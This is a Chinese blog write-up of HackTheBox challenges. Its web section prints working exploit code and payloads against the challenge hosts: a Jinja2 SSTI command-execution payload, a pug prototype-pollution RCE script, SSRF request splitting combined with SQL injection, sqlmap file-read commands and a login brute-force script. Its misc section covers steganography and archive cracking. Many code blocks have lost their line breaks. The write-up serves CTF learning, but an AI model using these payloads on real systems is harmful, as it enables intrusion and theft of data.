新版HackTheBox做题记录(WP)

2024-02-21 14:30

本文主要是介绍新版HackTheBox做题记录(WP),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

新版HackTheBox做题记录

  • Challenges
    • Web
      • Emdee five for life
      • Templated
      • Phonebook
      • FreeLancer
      • Gunship
      • Weather App
    • MISC
      • misDIRection
      • Blackhole
      • Eternal Loop
      • Longbottom's Locker
      • Canvas
      • M0rsarchive

2021-4-19
做题小记录,也方便以后自己查看
2021-4-24
更新FreeLancer

2022-02-05
更新Gunship
2022-02-06
更新WEB Weather App
更新MISC misDIRection
2022-02-07
更新MISC Blackhole、Eternal Loop、Longbottom’s Locker、Canvas

Challenges

Web

Emdee five for life

easy 题
加密md5 然后提交 其实就是py小脚本训练 贴下脚本

import requests
import re
import hashliburl = "http://46.101.53.249:32444/"while(1):r = requests.session()resp = r.get(url)code = re.findall("<h3 align='center'>(.*?)</h3>", resp.text)code = code[0]print(code)m = hashlib.md5()b = code.encode(encoding='utf-8')m.update(b)str_md5 = m.hexdigest()print(str_md5)data = {'hash': str_md5}resp1 = r.post(url=url, data=data)print(resp1.text)if ("Too slow!" in resp1.text):continueelse:print(resp1.text)

Templated

easy 题
在这里插入图片描述
flask jinja2 ssti模块注入 开始我用了Arjun扫了下参数没扫到。。然后随便进几个目录发现
在这里插入图片描述
这里解析了 ss 尝试访问下{{config}}
在这里插入图片描述
接下来就是构造payload 来命令执行了
简单思路:找Object 再找warnings.catch_warnings
payload:

{{ "".__class__.__mro__[1].__subclasses__()[186].__init__.__globals__["__builtins__"]["__import__"]("os").popen("cat flag*").read() }}

Phonebook

Easy题
进来是一个登录界面
在这里插入图片描述
测试发现如果我们使用*当作账户密码可以直接登入,但是登录之后并获取不到flag,*的有匹配的含义,
比如cat flag11111 我们就可以用cat flag*,思路有了来写个小脚本尝试爆破下账户和密码

import requests
url = "http://46.101.53.249:31174/login"
username=""
data = {"username": username + "*","password": "*"
}
input_data = ["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z","#","$","%","@","!","0","1","2","3","4","5","6","7","8","9","{","}","[","]","_","&","^"," "]
while(1):for i in input_data:username = username + idata = {"username": username + "*","password": "*"}resp = requests.post(url=url,data=data)if("/search" in resp.text):print(data)breakelse:username=username[:-1]

1
账户为reese 同理改下脚本来bp下密码 密码即是flag…(爆了快半小时) 这里就不贴脚本了

FreeLancer

首页有个表单,表单提交的数据一直500,xss也没法利用
在这里插入图片描述
在这里插入图片描述
拿dirb扫一下
在这里插入图片描述
扫到了一个/administrat/ 目录 登录进去是一个登录界面
看下源码有没有提示
在这里插入图片描述
在源码上多注意些注释 <!– 以及一些地址href=
进入/portfolio.php?id=2
手工测试下

/portfolio.php?id=2 and 1=1--+ 回显正常
/portfolio.php?id=2 and 1=2--+ 回显失败

布尔注入
丢进sqlmap里
在这里插入图片描述
dump下数据库
在这里插入图片描述
加密了,查看数据库权限
尝试了–os-shell 也不行
试试能不能读文件,虽然我们没有路径,但linux的web大多数都是放在/var/www/html下

sqlmap -u "http://206.189.121.131:31196/portfolio.php?id=1" --file-read=/var/www/html/index.php

读出来了
把已知的都读一下 看下源码

sqlmap -u "http://206.189.121.131:31196/portfolio.php?id=1" --file-read=/var/www/html/portfolio.php

在这里插入图片描述
从这也能发现那个/administrat/的管理界面

sqlmap -u "http://206.189.121.131:31196/portfolio.php?id=1" --file-read=/var/www/html/administrat/index.php

在这里插入图片描述

sqlmap -u "http://206.189.121.131:31196/portfolio.php?id=1" --file-read=/var/www/html/administrat/panel.php

最后在这个源码中读到了flag,挺折磨人的,开始还以为要读加密的姿势去逆向或者暴力呢,不知道师傅们有没有其他思路

Gunship

download源码, 安装的包 (package.json)

	"dependencies": {"express": "^4.17.1","flat": "5.0.0","pug": "^3.0.0"}

pug:3.0.0 可以利用,存在rce https://github.com/pugjs/pug/issues/3312

利用位置 (routes/index.js)

router.post('/api/submit', (req, res) => {const { artist } = unflatten(req.body);if (artist.name.includes('Haigh') || artist.name.includes('Westaway') || artist.name.includes('Gingell')) {return res.json({'response': pug.compile('span Hello #{user}, thank you for letting us know!')({ user: 'guest' })});} else {return res.json({'response': 'Please provide us with the full name of an existing member.'});}
});

可以看出向/api/submit 请求的body 传给了unflatten

利用链

{"artist.name":"Haigh","__proto__.block": {"type": "Text", "line": "process.mainModule.require('child_process').execSync('$(ls | grep flag)')"}
}

在这里插入图片描述
我们使用$(ls | grep flag)可以将报错信息带出来,也是无回显rce的一个小trick

cat flag

		{"artist.name":"Haigh","__proto__.block": {"type": "Text", "line": "process.mainModule.require('child_process').execSync('$(cat flagOUpyU)')"}}

在这里插入图片描述
exp:

import requestsTARGET_URL = 'http://157.245.40.206:30563'# first : $(ls | grep flag)
r = requests.post(TARGET_URL+'/api/submit', json = 		{"artist.name":"Haigh","__proto__.block": {"type": "Text", "line": "process.mainModule.require('child_process').execSync('$(cat flagOUpyU)')"}})print(r.status_code)
print(r.text)

Weather App

download源码, 查看路由(routes/index.js)

实现了login、register、/api/weather接口。

从代码上看到register接口有个限制

router.post('/register', (req, res) => {if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') {return res.status(401).end();}let { username, password } = req.body;if (username && password) {return db.register(username, password).then(()  => res.send(response('Successfully registered'))).catch(() => res.send(response('Something went wrong')));}return res.send(response('Missing parameters'));
});

判断注册的请求来源必须是127.0.0.1, 应该是要触发ssrf

接着在login中明显看出需要我们登录admin的账户就能get flag

router.post('/login', (req, res) => {let { username, password } = req.body;if (username && password) {return db.isAdmin(username, password).then(admin => {if (admin) return res.send(fs.readFileSync('/app/flag').toString());return res.send(response('You are not admin'));}).catch(() => res.send(response('Something went wrong')));}return re.send(response('Missing parameters'));
});

观察一下与数据库操作有关的文件(database.js)

    async migrate() {return this.db.exec(`DROP TABLE IF EXISTS users;CREATE TABLE IF NOT EXISTS users (id         INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,username   VARCHAR(255) NOT NULL UNIQUE,password   VARCHAR(255) NOT NULL);INSERT INTO users (username, password) VALUES ('admin', '${ crypto.randomBytes(32).toString('hex') }');`);}

其中username 属于unique约束,并且默认32字节的密码,无法爆破

接着看其余的代码(database.js)

    async register(user, pass) {// TODO: add parameterization and roll publicreturn new Promise(async (resolve, reject) => {try {let query = `INSERT INTO users (username, password) VALUES ('${user}', '${pass}')`;resolve((await this.db.run(query)));} catch(e) {reject(e);}});}

并没有对参数进行过滤,可以进行拼接。例如
user : admin pass: 1234’) ON CONFLICT(username) DO UPDATE SET password = ‘admin’;–
其中sql语句就变成了

INSERT INTO users (username, password) VALUES ('admin', '1234') ON CONFLICT(username) DO UPDATE SET password = 'admin';--')

当执行冲突时,会update密码。

接下来就是找到一个ssrf点去发送这个post请求包了

看到/api/weather接口 (routes/index.js)

router.post('/api/weather', (req, res) => {let { endpoint, city, country } = req.body;if (endpoint && city && country) {return WeatherHelper.getWeather(res, endpoint, city, country);}return res.send(response('Missing parameters'));
});	

跟进WeatherHelper.getWeather方法(helpers/WeatherHelper.js)

    async getWeather(res, endpoint, city, country) {// *.openweathermap.org is out of scopelet apiKey = '10a62430af617a949055a46fa6dec32f';let weatherData = await HttpHelper.HttpGet(`http://${endpoint}/data/2.5/weather?q=${city},${country}&units=metric&appid=${apiKey}`); if (weatherData.name) {let weatherDescription = weatherData.weather[0].description;let weatherIcon = weatherData.weather[0].icon.slice(0, -1);let weatherTemp = weatherData.main.temp;switch (parseInt(weatherIcon)) {case 2: case 3: case 4:weatherIcon = 'icon-clouds';break;case 9: case 10:weatherIcon = 'icon-rain';break;case 11:weatherIcon = 'icon-storm';break;case 13:weatherIcon = 'icon-snow';break;default:weatherIcon = 'icon-sun';break;}return res.send({desc: weatherDescription,icon: weatherIcon,temp: weatherTemp,});} return res.send({error: `Could not find ${city} or ${country}`});}

其中进行HttpHelper.HttpGet请求,参考Node中的Request Splitting。

可以构造一个分隔的payload来发送请求
需要将空格编码为\u0120 、 \r 编码为 \u010d 、 \n编码为 \u010A 、其余字符进行url编码

exp:

import requestsurl = "http://68.183.45.200:31945"username = 'admin'
password = "1337') ON CONFLICT(username) DO UPDATE SET password = 'admin';--"
parseUsername = username.replace(" ", "\u0120").replace("'", "%27").replace('"', "%22")
parsePassword = password.replace(" ", "\u0120").replace("'", "%27").replace('"', "%22")
contentLength = len(parseUsername) + len(parsePassword) + 19
endpoint =  '127.0.0.1/\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1\u010D\u010A\u010D\u010APOST\u0120/register\u0120HTTP/1.1\u010D\u010AHOST:\u0120127.0.0.1\u010D\u010AContent-Type:\u0120application/x-www-form-urlencoded\u010D\u010AContent-Length:\u0120' + str(contentLength) + '\u010D\u010A\u010D\u010Ausername=' + parseUsername + '&password=' + parsePassword + '\u010D\u010A\u010D\u010AGET\u0120/?lol='
r = requests.post(url + '/api/weather', json={'endpoint': endpoint, 'city': 'chengdu', 'country': 'CN'})
print(r)

之后直接登录admin即可
在这里插入图片描述

MISC

misDIRection

download文件,unzip解压发现其中都是空的文件,但其中部分文件夹中具有数字标识, 范围从1-36
在这里插入图片描述
将有数字的进行过滤出来,并整理成如下格式
在这里插入图片描述
对第二位进行排序,需要将1补成01、2补成02,直接用bash命令排序了,sore msg.txt -k 2
在这里插入图片描述
得到排列好的字母,按顺序将字母拼接,再进行base64解密即可
exp:

file = "msg4.txt"
secret = ""
with open(file, "r") as f:data = f.readlines()for item in data:secret += item.split(" ")[0]print(secret)

在这里插入图片描述

Blackhole

download下文件,file查看文件类型,发现是jpg文件

使用binwalk无果,使用stegcracker爆破

在这里插入图片描述
爆破出来密码,从图中也能猜出来(脑洞)
使用 steghide extract -sf file 解密文件
得出flag.txt, 特征和积累看的出来是base64套娃,

在这里插入图片描述
https://www.boxentriq.com/code-breaking/cipher-identifier

这个能在线查看密文的类型,发现是凯撒在这里插入图片描述
使用在线网站解密,偏移14位即可
https://cryptii.com/
在这里插入图片描述

Eternal Loop

套娃,压缩包里面的文件名是该压缩包的密码。写个脚本一直解压

import zipfilename = "37366.zip"
while 1:zFile = zipfile.ZipFile(r'D:\Temp\HTB\MISC\Eternal Loop\{}'.format(name), "r")name = zFile.namelist()[0]password = zFile.namelist()[0].split(".")[0]print(zFile.namelist()[0])zFile.extract(zFile.namelist()[0], r"D:\Temp\HTB\MISC\Eternal Loop", pwd=bytes(password, 'utf-8'))

最后解压到6969.zip报错,去爆破下zip密码在这里插入图片描述

fcrackzip -v -D -u -p /usr/share/wordlists/rockyou.txt 6969.zip

在这里插入图片描述

解压 file 发现是SQL文件,直接

strings DoNotTouch | grep "HTB"

在这里插入图片描述

Longbottom’s Locker

解压压缩包
其中网站源码逻辑如下,(index.html)

<script>document.getElementById('neville-locker-form').addEventListener('submit', function(e) {e.preventDefault();var passphrase = document.getElementById('passwd').value,encryptedMsg = '4cce4470203e10b395ab1787a22553a5b2503d42a965da813676d929cc16f76cU2FsdGVkX19FvUyhqWoQKHXNLBL64g8acK4UQoP6XZQ/n4MRL3rgQj8TJ/3r8Awtxte2V9s+RLfQHJOHGwYtctqRa/H2BetmxjwGG+LYKUWC8Z6WBoYbecwtATCOuwewnp+VKBzsWLme+3BZyRgKEA==',encryptedHMAC = encryptedMsg.substring(0, 64),encryptedHTML = encryptedMsg.substring(64),decryptedHMAC = CryptoJS.HmacSHA256(encryptedHTML, CryptoJS.SHA256(passphrase).toString()).toString();if (decryptedHMAC !== encryptedHMAC) {alert('Bad passphrase!');return;}var plainHTML = CryptoJS.AES.decrypt(encryptedHTML, passphrase).toString(CryptoJS.enc.Utf8);document.write(plainHTML);document.close();});
</script>

HMAC是一个基于Hash函数的,逆不出来,最终plainhtml也需要输入的信息进行解码渲染flag,只能找其他思路

socute.jpg binwalk 分离出一个zip,解压得到donotshare

(lp1
(lp2
(S' '
I163
tp3
aa(lp4
(S' '
I1
tp5
a(S'.'
I1
tp6
a(S'd'
I1
tp7
a(S'8'
I4
tp8
a(S'b'
I1
tp9
a(S'.'
I1
tp10
a(S' '
I12

Google到了该字符类似于一个符号横幅。用下面读取并打印输出得

import picklef = open('donotshare', 'rb')o = pickle.load(f)outstr = ''
for line in o:for char,n in line:outstr += char*noutstr += '\n'
print(outstr)

在这里插入图片描述
Gu1d0-v4N-R055Um, 输入即可得到flag

Canvas

在js中被编码了,去解开js的编码,可以看到大致逻辑,在浏览器中打断点可以看出用户名和密码都是admin,之后渲染了一个canvas,从js中最后一行找到找个canvas的十六进制
进行十六进制转ASCII

在这里插入图片描述

class Converter(object):@staticmethoddef to_ascii(h):list_s = []for i in range(0, len(h), 2):list_s.append(chr(int(h[i:i+2], 16)))return ''.join(list_s)@staticmethoddef to_hex(s):list_h = []for c in s:list_h.append(str(hex(ord(c))[2:]))return ''.join(list_h)print(Converter.to_ascii("4854427b57334c63306d335f37305f4a3456343543523170375f6433306246753543343731304e7da"))

M0rsarchive

每一层有一个pwd.png和一个压缩包,pwd.png是一个彩色条纹和圆点的非常小的图像,也就是摩斯密码,套了很多很多层,写脚本去识别摩斯密码,并递归解压。

参考:https://sequr.be/blog/2019/11/m0rsarchive/
exp:


def getMorse(image):"""Get morse out of imageThis assumes the background colour is static and morse code has a different colour.Morse code can be in any colour, as long as it is not the same as the top-left pixel.>>> getMorse('pwd.png')['----.']"""from PIL import Imageimport reim = Image.open(image, 'r')chars = []background = im.getdata()[0]for i, v in enumerate(list(im.getdata())):if v == background:chars.append(" ")else:chars.append("*")# print "{0: <4}: {1: <15} ({2})".format(i, v, "[-] BG" if v == background else "[+] FG")output =  "".join(chars)# Clean output by removing whitespace front and back# Then make dash out of every combination of 3 dots# Convert dots to actual dot# Convert whitespace between letters (i.e. >1 bg pixel) to seperator# Remove whitespace# Return list of lettersoutput = re.sub(r'^\s*', '', output)output = re.sub(r'\s*$', '', output)output = re.sub(r'\*{3}', '-', output)output = re.sub(r'\*', '.', output)output = re.sub(r'\s{2,}', ' | ', output)output = re.sub(r'\s', '', output)output = output.split('|')return outputdef getPassword(morse):"""Decode morseConvert morse back into text.Takes list of letters as input, returns converted text.Note that challenge uses lowercase letters.>>> getPassword(['----.'])'9'"""MORSE_CODE_DICT = {'.-': 'A', '-...': 'B', '-.-.': 'C', '-..': 'D','.': 'E', '..-.': 'F', '--.': 'G', '....': 'H','..': 'I', '.---': 'J', '-.-': 'K', '.-..': 'L','--': 'M', '-.': 'N', '---': 'O', '.--.': 'P','--.-': 'Q', '.-.': 'R', '...': 'S', '-': 'T','..-': 'U', '...-': 'V', '.--': 'W', '-..-': 'X','-.--': 'Y', '--..': 'Z', '-----': '0', '.----': '1','..---': '2', '...--': '3', '....-': '4', '.....': '5','-....': '6', '--...': '7', '---..': '8', '----.': '9','-..-.': '/', '.-.-.-': '.', '-.--.-': ')', '..--..': '?','-.--.': '(', '-....-': '-', '--..--': ','}for item in morse:return "".join([MORSE_CODE_DICT.get(item) for item in morse]).lower()def main():""" Auto startUsed for automation.Automatically call methods and use 'pwd.png' as input image."""print (getPassword(getMorse("pwd.png")))if __name__ == "__main__":main()

并使用sh脚本去循环执行

#!/bin/bashRESULT=0while [ $RESULT -eq 0 ]
doPASSWORD="$( python3 /root/桌面/HTB/MISC/M0rsachive/exp.py )"ZIPFILE="$( ls *.zip )"unzip -P "$PASSWORD" "$ZIPFILE"RESULT=$?echo "Unzipped $ZIPFILE using password $PASSWORD ($RESULT)"cd flag
done

由于路径也过于长, 使用find也查不出来最外层的flag

$ find . -iname "flag" -type f -exec cat {} \;
cat: ./flag/flag/[...]/flag/flag/flag: File name too long

利用脚本:

while [ $? -eq 0 ]; do cd flag/; done
cat flag

在这里插入图片描述

这篇关于新版HackTheBox做题记录(WP)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/732096

相关文章

将sqlserver数据迁移到mysql的详细步骤记录

《将sqlserver数据迁移到mysql的详细步骤记录》:本文主要介绍将SQLServer数据迁移到MySQL的步骤,包括导出数据、转换数据格式和导入数据,通过示例和工具说明,帮助大家顺利完成... 目录前言一、导出SQL Server 数据二、转换数据格式为mysql兼容格式三、导入数据到MySQL数据

关于rpc长连接与短连接的思考记录

《关于rpc长连接与短连接的思考记录》文章总结了RPC项目中长连接和短连接的处理方式,包括RPC和HTTP的长连接与短连接的区别、TCP的保活机制、客户端与服务器的连接模式及其利弊分析,文章强调了在实... 目录rpc项目中的长连接与短连接的思考什么是rpc项目中的长连接和短连接与tcp和http的长连接短

Oracle查询优化之高效实现仅查询前10条记录的方法与实践

《Oracle查询优化之高效实现仅查询前10条记录的方法与实践》:本文主要介绍Oracle查询优化之高效实现仅查询前10条记录的相关资料,包括使用ROWNUM、ROW_NUMBER()函数、FET... 目录1. 使用 ROWNUM 查询2. 使用 ROW_NUMBER() 函数3. 使用 FETCH FI

Python MySQL如何通过Binlog获取变更记录恢复数据

《PythonMySQL如何通过Binlog获取变更记录恢复数据》本文介绍了如何使用Python和pymysqlreplication库通过MySQL的二进制日志(Binlog)获取数据库的变更记录... 目录python mysql通过Binlog获取变更记录恢复数据1.安装pymysqlreplicat

Servlet中配置和使用过滤器的步骤记录

《Servlet中配置和使用过滤器的步骤记录》:本文主要介绍在Servlet中配置和使用过滤器的方法,包括创建过滤器类、配置过滤器以及在Web应用中使用过滤器等步骤,文中通过代码介绍的非常详细,需... 目录创建过滤器类配置过滤器使用过滤器总结在Servlet中配置和使用过滤器主要包括创建过滤器类、配置过滤

正则表达式高级应用与性能优化记录

《正则表达式高级应用与性能优化记录》本文介绍了正则表达式的高级应用和性能优化技巧,包括文本拆分、合并、XML/HTML解析、数据分析、以及性能优化方法,通过这些技巧,可以更高效地利用正则表达式进行复杂... 目录第6章:正则表达式的高级应用6.1 模式匹配与文本处理6.1.1 文本拆分6.1.2 文本合并6

python与QT联合的详细步骤记录

《python与QT联合的详细步骤记录》:本文主要介绍python与QT联合的详细步骤,文章还展示了如何在Python中调用QT的.ui文件来实现GUI界面,并介绍了多窗口的应用,文中通过代码介绍... 目录一、文章简介二、安装pyqt5三、GUI页面设计四、python的使用python文件创建pytho

Node.js学习记录(二)

目录 一、express 1、初识express 2、安装express 3、创建并启动web服务器 4、监听 GET&POST 请求、响应内容给客户端 5、获取URL中携带的查询参数 6、获取URL中动态参数 7、静态资源托管 二、工具nodemon 三、express路由 1、express中路由 2、路由的匹配 3、路由模块化 4、路由模块添加前缀 四、中间件

记录每次更新到仓库 —— Git 学习笔记 10

记录每次更新到仓库 文章目录 文件的状态三个区域检查当前文件状态跟踪新文件取消跟踪(un-tracking)文件重新跟踪(re-tracking)文件暂存已修改文件忽略某些文件查看已暂存和未暂存的修改提交更新跳过暂存区删除文件移动文件参考资料 咱们接着很多天以前的 取得Git仓库 这篇文章继续说。 文件的状态 不管是通过哪种方法,现在我们已经有了一个仓库,并从这个仓

学习记录:js算法(二十八):删除排序链表中的重复元素、删除排序链表中的重复元素II

文章目录 删除排序链表中的重复元素我的思路解法一:循环解法二:递归 网上思路 删除排序链表中的重复元素 II我的思路网上思路 总结 删除排序链表中的重复元素 给定一个已排序的链表的头 head , 删除所有重复的元素,使每个元素只出现一次 。返回 已排序的链表 。 图一 图二 示例 1:(图一)输入:head = [1,1,2]输出:[1,2]示例 2:(图